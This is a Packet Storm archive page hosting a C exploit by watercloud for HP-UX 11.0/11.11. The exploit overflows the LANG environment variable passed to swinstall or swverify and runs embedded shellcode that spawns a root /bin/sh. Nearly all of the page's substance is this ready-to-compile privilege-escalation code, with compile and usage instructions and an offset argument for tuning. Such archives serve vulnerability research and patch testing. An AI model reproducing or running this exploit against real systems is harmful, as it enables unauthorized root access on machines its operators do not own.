exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

x_hpux_11_swinstall.c

x_hpux_11_swinstall.c
Posted Sep 29, 2004
Authored by Watercloud | Site xfocus.org

Local root exploit that makes use of a buffer overflow in the Software Distributor utilities for HP-UX.

tags | exploit, overflow, local, root
systems | hpux
SHA-256 | 82d65b407a37a3ab39bc7d992bea154fb467c37350dce76f824a999dd2d53d19

x_hpux_11_swinstall.c

Change Mirror Download
/*
Program : x_hpux_11i_sw.c
Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
Complie : cc x_hpux_11i_sw.c -o x_sw ;./x_sw ( not use gcc for some system)
Usage : ./x_sw [ off ]
Tested : HP-UX B11.11 & HP-UX B11.0
Author : watercloud [@] xfocus.org
Date : 2002-12-11
Note : Use as your own risk !!
*/
#include<stdio.h>
#define T_LEN 2124
#define BUFF_LEN 1688
#define NOP 0x0b390280
char shellcode[]=
"\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
"/bin/shA";

long addr;
char buffer_env[2496];
char buffer[T_LEN];

void main(argc,argv)
int argc;
char ** argv;
{
int addr_off = 8208 ;
long addr_e = 0;
int n=BUFF_LEN/4,i=0;
long * ap = (long *) &buffer[BUFF_LEN];
char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
long * np = (long *) buffer;
if(argc >0)
addr_off += atoi(argv[1]);
addr = ( (long) &addr_off +addr_off) /4 * 4 +4;
for(i=0;i<n;np[i++]=NOP);
memcpy(sp,shellcode,strlen(shellcode));
for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0';
sprintf(buffer_env,"LANG=AAA%s",buffer);
putenv(buffer_env);
execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
/* if false ,test swverify. */
execl("/usr/sbin/swverify","swverify",NULL);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close